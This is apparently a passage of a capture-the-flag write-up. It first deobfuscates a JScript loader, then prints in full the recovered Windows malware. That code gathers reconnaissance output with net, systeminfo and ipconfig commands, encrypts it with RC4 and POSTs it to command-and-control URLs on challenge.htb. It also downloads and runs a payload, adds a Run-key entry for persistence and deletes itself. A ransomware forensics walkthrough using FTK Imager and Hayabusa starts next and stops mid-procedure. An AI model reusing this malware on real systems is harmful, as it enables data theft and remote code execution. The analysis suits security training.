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";return r}|

Deobfuscation itself was straightforward, and after reformatting the code, it resulted in the following script.

// var lVky = WScript.Arguments; //vF8rdgMHKBrvCoCp0ulm
var DASz = "vF8rdgMHKBrvCoCp0ulm";
var Iwlh = lyEK();
Iwlh = JrvS(Iwlh);
Iwlh = xR68(DASz, Iwlh);

eval(Iwlh);
function af5Q(r) { var a = r.charCodeAt(0);
if (a === 43 || a === 45) return 62;
if (a === 47 || a === 95) return 63;
if (a < 48) return -1;
if (a < 48 + 10) return a - 48 + 26 + 26;
if (a < 65 + 26) return a - 65;
if (a < 97 + 26) return a - 97 + 26 } 

function JrvS(r) { var a = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
var t;
var l;
var h;
if (r.length % 4 > 0) return;
var u = r.length;
var g = r.charAt(u - 2) === "=" ? 2 : r.charAt(u - 1) === "=" ? 1 : 0;
var n = new Array(r.length * 3 / 4 - g);
var i = g > 0 ? r.length - 4 : r.length;
var z = 0;
function b(r) { n[z++] = r } for (t = 0, l = 0;
t < i;
t += 4, l += 3) { h = af5Q(r.charAt(t)) << 18 | af5Q(r.charAt(t + 1)) << 12 | af5Q(r.charAt(t + 2)) << 6 | af5Q(r.charAt(t + 3));
b((h & 16711680) >> 16);
b((h & 65280) >> 8);
b(h & 255) } if (g === 2) { h = af5Q(r.charAt(t)) << 2 | af5Q(r.charAt(t + 1)) >> 4;
b(h & 255) } else if (g === 1) { h = af5Q(r.charAt(t)) << 10 | af5Q(r.charAt(t + 1)) << 4 | af5Q(r.charAt(t + 2)) >> 2;
b(h >> 8 & 255);
b(h & 255) } return n } function xR68(r, a) { var t = [];
var l = 0;
var h;
var u = "";
for (var g = 0;
g < 256;
g++) { t[g] = g } for (var g = 0;
g < 256;
g++) { l = (l + t[g] + r.charCodeAt(g % r.length)) % 256;
h = t[g];
t[g] = t[l];
t[l] = h } var g = 0;
var l = 0;
for (var n = 0;
n < a.length;
n++) { g = (g + 1) % 256;
l = (l + t[g]) % 256;
h = t[g];
t[g] = t[l];
t[l] = h;
u += String.fromCharCode(a[n] ^ t[(t[g] + t[l]) % 256]) } return u } 

function lyEK() { var r = "省略";
return r }

By executing this code appropriately, the following new payload for data exfiltration can be obtained.

``` javascript
function S7EN(KL3M) {
    var gfjd = WScript.CreateObject("ADODB.Stream");
    gfjd.Type = 2;
    gfjd.CharSet = "437";
    gfjd.Open();
    gfjd.LoadFromFile(KL3M);
    var j3k6 = gfjd.ReadText;
    gfjd.Close();
    return l9BJ(j3k6);
}
var WQuh = new Array("http://challenge.htb/wp-includes/pomo/db.php", "http://challenge.htb/wp-admin/includes/class-wp-upload-plugins-list-table.php");
var zIRF = "KRMLT0G3PHdYjnEm";
var LwHA = new Array(
    "systeminfo > ",
    "net view >> ",
    "net view /domain >> ",
    "tasklist /v >> ",
    "gpresult /z >> ",
    "netstat -nao >> ",
    "ipconfig /all >> ",
    "arp -a >> ",
    "net share >> ",
    "net use >> ",
    "net user >> ",
    "net user administrator >> ",
    "net user /domain >> ",
    "net user administrator /domain >> ",
    "set  >> ",
    "dir %systemdrive%\\\\Users\\\\*.* >> ",
    "dir %userprofile%\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\\\\*.* >> ",
    "dir %userprofile%\\\\Desktop\\\\*.* >> ",
    'tasklist /fi "modules eq wow64.dll"  >> ',
    'tasklist /fi "modules ne wow64.dll" >> ',
    'dir "%programfiles(x86)%" >> ',
    'dir "%programfiles%" >> ',
    "dir %appdata% >>"
);

var Z6HQ = new ActiveXObject("Scripting.FileSystemObject");
var EBKd = WScript.ScriptName;
var Vxiu = "";
var lDd9 = a0rV();

function DGbq(xxNA, j5zO) {
    char_set = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    var bzwO = "";
    var sW_c = "";
    for (var i = 0; i < xxNA.length; ++i) {
        var W0Ce = xxNA.charCodeAt(i);
        var o_Nk = W0Ce.toString(2);
        while (o_Nk.length < (j5zO ? 8 : 16)) o_Nk = "0" + o_Nk;
        sW_c += o_Nk;
        while (sW_c.length >= 6) {
            var AaP0 = sW_c.slice(0, 6);
            sW_c = sW_c.slice(6);
            bzwO += this.char_set.charAt(parseInt(AaP0, 2));
        }
    }
    if (sW_c) {
        while (sW_c.length < 6) sW_c += "0";
        bzwO += this.char_set.charAt(parseInt(sW_c, 2));
    }
    while (bzwO.length % (j5zO ? 4 : 8) != 0) bzwO += "=";
    return bzwO;
}

var lW6t = [];
lW6t["C7"] = "80";
lW6t["FC"] = "81";
lW6t["E9"] = "82";
lW6t["E2"] = "83";
lW6t["E4"] = "84";
lW6t["E0"] = "85";
lW6t["E5"] = "86";
lW6t["E7"] = "87";
lW6t["EA"] = "88";
lW6t["EB"] = "89";
lW6t["E8"] = "8A";
lW6t["EF"] = "8B";
lW6t["EE"] = "8C";
lW6t["EC"] = "8D";
lW6t["C4"] = "8E";
lW6t["C5"] = "8F";
lW6t["C9"] = "90";
lW6t["E6"] = "91";
lW6t["C6"] = "92";
lW6t["F4"] = "93";
lW6t["F6"] = "94";
lW6t["F2"] = "95";
lW6t["FB"] = "96";
lW6t["F9"] = "97";
lW6t["FF"] = "98";
lW6t["D6"] = "99";
lW6t["DC"] = "9A";
lW6t["A2"] = "9B";
lW6t["A3"] = "9C";
lW6t["A5"] = "9D";
lW6t["20A7"] = "9E";
lW6t["192"] = "9F";
lW6t["E1"] = "A0";
lW6t["ED"] = "A1";
lW6t["F3"] = "A2";
lW6t["FA"] = "A3";
lW6t["F1"] = "A4";
lW6t["D1"] = "A5";
lW6t["AA"] = "A6";
lW6t["BA"] = "A7";
lW6t["BF"] = "A8";
lW6t["2310"] = "A9";
lW6t["AC"] = "AA";
lW6t["BD"] = "AB";
lW6t["BC"] = "AC";
lW6t["A1"] = "AD";
lW6t["AB"] = "AE";
lW6t["BB"] = "AF";
lW6t["2591"] = "B0";
lW6t["2592"] = "B1";
lW6t["2593"] = "B2";
lW6t["2502"] = "B3";
lW6t["2524"] = "B4";
lW6t["2561"] = "B5";
lW6t["2562"] = "B6";
lW6t["2556"] = "B7";
lW6t["2555"] = "B8";
lW6t["2563"] = "B9";
lW6t["2551"] = "BA";
lW6t["2557"] = "BB";
lW6t["255D"] = "BC";
lW6t["255C"] = "BD";
lW6t["255B"] = "BE";
lW6t["2510"] = "BF";
lW6t["2514"] = "C0";
lW6t["2534"] = "C1";
lW6t["252C"] = "C2";
lW6t["251C"] = "C3";
lW6t["2500"] = "C4";
lW6t["253C"] = "C5";
lW6t["255E"] = "C6";
lW6t["255F"] = "C7";
lW6t["255A"] = "C8";
lW6t["2554"] = "C9";
lW6t["2569"] = "CA";
lW6t["2566"] = "CB";
lW6t["2560"] = "CC";
lW6t["2550"] = "CD";
lW6t["256C"] = "CE";
lW6t["2567"] = "CF";
lW6t["2568"] = "D0";
lW6t["2564"] = "D1";
lW6t["2565"] = "D2";
lW6t["2559"] = "D3";
lW6t["2558"] = "D4";
lW6t["2552"] = "D5";
lW6t["2553"] = "D6";
lW6t["256B"] = "D7";
lW6t["256A"] = "D8";
lW6t["2518"] = "D9";
lW6t["250C"] = "DA";
lW6t["2588"] = "DB";
lW6t["2584"] = "DC";
lW6t["258C"] = "DD";
lW6t["2590"] = "DE";
lW6t["2580"] = "DF";
lW6t["3B1"] = "E0";
lW6t["DF"] = "E1";
lW6t["393"] = "E2";
lW6t["3C0"] = "E3";
lW6t["3A3"] = "E4";
lW6t["3C3"] = "E5";
lW6t["B5"] = "E6";
lW6t["3C4"] = "E7";
lW6t["3A6"] = "E8";
lW6t["398"] = "E9";
lW6t["3A9"] = "EA";
lW6t["3B4"] = "EB";
lW6t["221E"] = "EC";
lW6t["3C6"] = "ED";
lW6t["3B5"] = "EE";
lW6t["2229"] = "EF";
lW6t["2261"] = "F0";
lW6t["B1"] = "F1";
lW6t["2265"] = "F2";
lW6t["2264"] = "F3";
lW6t["2320"] = "F4";
lW6t["2321"] = "F5";
lW6t["F7"] = "F6";
lW6t["2248"] = "F7";
lW6t["B0"] = "F8";
lW6t["2219"] = "F9";
lW6t["B7"] = "FA";
lW6t["221A"] = "FB";
lW6t["207F"] = "FC";
lW6t["B2"] = "FD";
lW6t["25A0"] = "FE";
lW6t["A0"] = "FF";

function a0rV() {
    var YrUH = Math.ceil(Math.random() * 10 + 25);
    var name = String.fromCharCode(Math.ceil(Math.random() * 24 + 65));
    var JKfG = WScript.CreateObject("WScript.Network");
    Vxiu = JKfG.UserName;
    for (var count = 0; count < YrUH; count++) {
        switch (Math.ceil(Math.random() * 3)) {
            case 1:
                name = name + Math.ceil(Math.random() * 8);
                break;
            case 2:
                name = name + String.fromCharCode(Math.ceil(Math.random() * 24 + 97));
                break;
            default:
                name = name + String.fromCharCode(Math.ceil(Math.random() * 24 + 65));
                break;
        }
    }
    return name;
}


var icVh = Jp6A(HAP5());

try {
    var CJPE = HAP5();
    W6cM();
    Syrl();
} catch (e) {
    WScript.Quit();
}


function Syrl() {
    var m2n0 = xhOC();
    while (true) {
        for (var i = 0; i < WQuh.length; i++) {
            var bx_4 = WQuh[i];
            var czlA = V9iU(bx_4, m2n0);
            switch (czlA) {
                case "good":
                    break;
                case "exit":
                    WScript.Quit();
                    break;
                case "work":
                    eRNv(bx_4);
                    break;
                case "fail":
                    I7UO();
                    break;
                default:
                    break;
            }
            a0rV();
        }
        WScript.Sleep((Math.random() * 300 + 3600) * 1e3);
    }
}

function HAP5() {
    var zkDC = this["ActiveXObject"];
    var jVNP = new zkDC("WScript.Shell");
    return jVNP;
}


function eRNv(caA2) {
    var jpVh = icVh + EBKd.substring(0, EBKd.length - 2) + "pif";
    var S47T = new ActiveXObject("MSXML2.XMLHTTP");
    S47T.OPEN("post", caA2, false);
    S47T.SETREQUESTHEADER("user-agent:", "Mozilla/5.0 (Windows NT 6.1; Win64; x64); " + he50());
    S47T.SETREQUESTHEADER("content-type:", "application/octet-stream");
    S47T.SETREQUESwTHEADER("content-length:", "4");
    S47T.SETREQUESTHEADER("Cookie:", "flag=SFRCe200bGQwY3NfNHIzX2czdHQxbmdfVHIxY2tpMTNyfQo=");
    S47T.SEND("work");
    if (Z6HQ.FILEEXISTS(jpVh)) {
        Z6HQ.DELETEFILE(jpVh);
    }
    if (S47T.STATUS == 200) {
        var gfjd = new ActiveXObject("ADODB.STREAM");
        gfjd.TYPE = 1;
        gfjd.OPEN();
        gfjd.WRITE(S47T.responseBody);
        gfjd.Position = 0;
        gfjd.Type = 2;
        gfjd.CharSet = "437";
        var j3k6 = gfjd.ReadText(gfjd.Size);
        var RAKT = t7Nl("2f532d6baec3d0ec7b1f98aed4774843", l9BJ(j3k6));
        Trql(RAKT, jpVh);
        gfjd.Close();
    }
    var lDd9 = a0rV();
    nr3z(jpVh, caA2);
    WScript.Sleep(3e4);
    Z6HQ.DELETEFILE(jpVh);
}
function I7UO() {
    Z6HQ.DELETEFILE(WScript.SCRIPTFULLNAME);
    CJPE.REGDELETE("HKEY_CURRENT_USER\\\\software\\\\microsoft\\\\windows\\\\currentversion\\\\run\\\\" + EBKd.substring(0, EBKd.length - 3));
    WScript.Quit();
}
function V9iU(pxug, tqDX) {
    try {
        var S47T = new ActiveXObject("MSXML2.XMLHTTP");
        S47T.OPEN("post", pxug, false);
        S47T.SETREQUESTHEADER("user-agent:", "Mozilla/5.0 (Windows NT 6.1; Win64; x64); " + he50());
        S47T.SETREQUESTHEADER("content-type:", "application/octet-stream");
        var SoNI = DGbq(tqDX, true);
        S47T.SETREQUESTHEADER("content-length:", SoNI.length);
        S47T.SEND(SoNI);
        return S47T.responseText;
    } catch (e) {
        return "";
    }
}
function he50() {
    var wXgO = "";
    var JKfG = WScript.CreateObject("WScript.Network");
    var SoNI = zIRF + JKfG.ComputerName + Vxiu;
    for (var i = 0; i < 16; i++) {
        var DXHy = 0;
        for (var j = i; j < SoNI.length - 1; j++) {
            DXHy = DXHy ^ SoNI.charCodeAt(j);
        }
        DXHy = DXHy % 10;
        wXgO = wXgO + DXHy.toString(10);
    }
    wXgO = wXgO + zIRF;
    return wXgO;
}

function W6cM() {
    v_FileName = icVh + EBKd.substring(0, EBKd.length - 2) + "js";
    Z6HQ.COPYFILE(WScript.ScriptFullName, icVh + EBKd);
    var zIqu = (Math.random() * 150 + 350) * 1e3;
    WScript.Sleep(zIqu);
    CJPE.REGWRITE(
        "HKEY_CURRENT_USER\\\\software\\\\microsoft\\\\windows\\\\currentversion\\\\run\\\\" + EBKd.substring(0, EBKd.length - 3),
        "wscript.exe //B " + String.fromCharCode(34) + icVh + EBKd + String.fromCharCode(34) + " NPEfpRZ4aqnh1YuGwQd0",
        "REG_SZ"
    );
}

function xhOC() {
    var U5rJ = icVh + "~dat.tmp";
    for (var i = 0; i < LwHA.length; i++) {
        CJPE.Run("cmd.exe /c " + LwHA[i] + '"' + U5rJ + "", 0, true);
    }
    var jxHd = S7EN(U5rJ);
    WScript.Sleep(1e3);
    Z6HQ.DELETEFILE(U5rJ);
    return t7Nl("2f532d6baec3d0ec7b1f98aed4774843", jxHd);
}



function nr3z(jpVh, caA2) {
    try {
        if (Z6HQ.FILEEXISTS(jpVh)) {
            CJPE.Run('"' + jpVh + '"');
        }
    } catch (e) {
        var S47T = new ActiveXObject("MSXML2.XMLHTTP");
        S47T.OPEN("post", caA2, false);
        var ND3M = "error";
        S47T.SETREQUESTHEADER("user-agent:", "Mozilla/5.0 (Windows NT 6.1; Win64; x64); " + he50());
        S47T.SETREQUESTHEADER("content-type:", "application/octet-stream");
        S47T.SETREQUESTHEADER("content-length:", ND3M.length);
        S47T.SEND(ND3M);
        return "";
    }
}
function poBP(QQDq) {
    var HiEg = "0123456789ABCDEF";
    var L9qj = HiEg.substr(QQDq & 15, 1);
    while (QQDq > 15) {
        QQDq >>>= 4;
        L9qj = HiEg.substr(QQDq & 15, 1) + L9qj;
    }
    return L9qj;
}
function JbVq(x4hL) {
    return parseInt(x4hL, 16);
}

function l9BJ(Wid9) {
    var wXgO = [];
    var pV8q = Wid9.length;
    for (var i = 0; i < pV8q; i++) {
        var yWql = Wid9.charCodeAt(i);
        if (yWql >= 128) {
            var h = lW6t["" + poBP(yWql)];
            yWql = JbVq(h);
        }
        wXgO.push(yWql);
    }
    return wXgO;
}

function Trql(EQ4R, K5X0) {
    var gfjd = WScript.CreateObject("ADODB.Stream");
    gfjd.type = 2;
    gfjd.Charset = "iso-8859-1";
    gfjd.Open();
    gfjd.WriteText(EQ4R);
    gfjd.Flush();
    gfjd.Position = 0;
    gfjd.SaveToFile(K5X0, 2);
    gfjd.close();
}
function Jp6A(KgOm) {
    icVh = "c:\\\\Users\\\\" + Vxiu + "\\\\AppData\\\\Local\\\\Microsoft\\\\Windows\\\\";
    if (!Z6HQ.FOLDEREXISTS(icVh)) icVh = "c:\\\\Users\\\\" + Vxiu + "\\\\AppData\\\\Local\\\\Temp\\\\";
    if (!Z6HQ.FOLDEREXISTS(icVh)) icVh = "c:\\\\Documents and Settings\\\\" + Vxiu + "\\\\Application Data\\\\Microsoft\\\\Windows\\\\";
    return icVh;
}

function t7Nl(npmb, AIsp) {
    var M4tj = [];
    var KRYr = 0;
    var FPIW;
    var wXgO = "";
    for (var i = 0; i < 256; i++) {
        M4tj[i] = i;
    }
    for (var i = 0; i < 256; i++) {
        KRYr = (KRYr + M4tj[i] + npmb.charCodeAt(i % npmb.length)) % 256;
        FPIW = M4tj[i];
        M4tj[i] = M4tj[KRYr];
        M4tj[KRYr] = FPIW;
    }
    var i = 0;
    var KRYr = 0;
    for (var y = 0; y < AIsp.length; y++) {
        i = (i + 1) % 256;
        KRYr = (KRYr + M4tj[i]) % 256;
        FPIW = M4tj[i];
        M4tj[i] = M4tj[KRYr];
        M4tj[KRYr] = FPIW;
        wXgO += String.fromCharCode(AIsp[y] ^ M4tj[(M4tj[i] + M4tj[KRYr]) % 256]);
    }
    return wXgO;
}

Skimming through the code, I noticed that a Base64-encoded flag was embedded in the Cookie used when exfiltrating information externally.

image-20240311210707989

Decoding this yielded the correct flag.

Confinement(Forensic)

“Our clan’s network has been infected by a cunning ransomware attack, encrypting irreplaceable data essential for our relentless rivalry with other factions. With no backups to fall back on, we find ourselves at the mercy of unseen adversaries, our fate uncertain. Your expertise is the beacon of hope we desperately need to unlock these encrypted files and reclaim our destiny in The Fray. Note: The valuable data is stored under \Documents\Work”

An ad1 file is provided as the challenge file, so we extract it with FTK Imager.

Among the extracted files, we can see that ransom notes and encrypted confidential files are included.

image-20240315234508326

Below is the screen when opening the ransom note in a browser.

image-20240315234653822

To recover the encrypted confidential files, we likely need the ransomware sample, but nothing matching was found among the files extracted with FTK Imager.

So I extracted event logs from the image file and analyzed them with Hayabusa.

Default sigma rules were used for Hayabusa.

.\hayabusa-2.5.1-win-x64.exe csv-timeline -d "C:\Users\kash1064\Downloads\Logs" -o result.csv

Filtering the extracted information to show only Critical and High events, we can see that after several suspicious files were detected by Defender, events disabling Defender’s protection were recorded.

image-20240315235546616

It is highly likely that the ransomware was detected once here, then Defender was disabled before re-executing it.

Since the detected files should have been quarantined by Defender, I extracted Defender’s Quarantine folder with FTK Imager, replaced the local machine’s Quarantine folder with it, and ran the following commands to restore the samples.

cd "C:\Program Files\Windows Defender"
MpCmdRun.exe -resetplatform
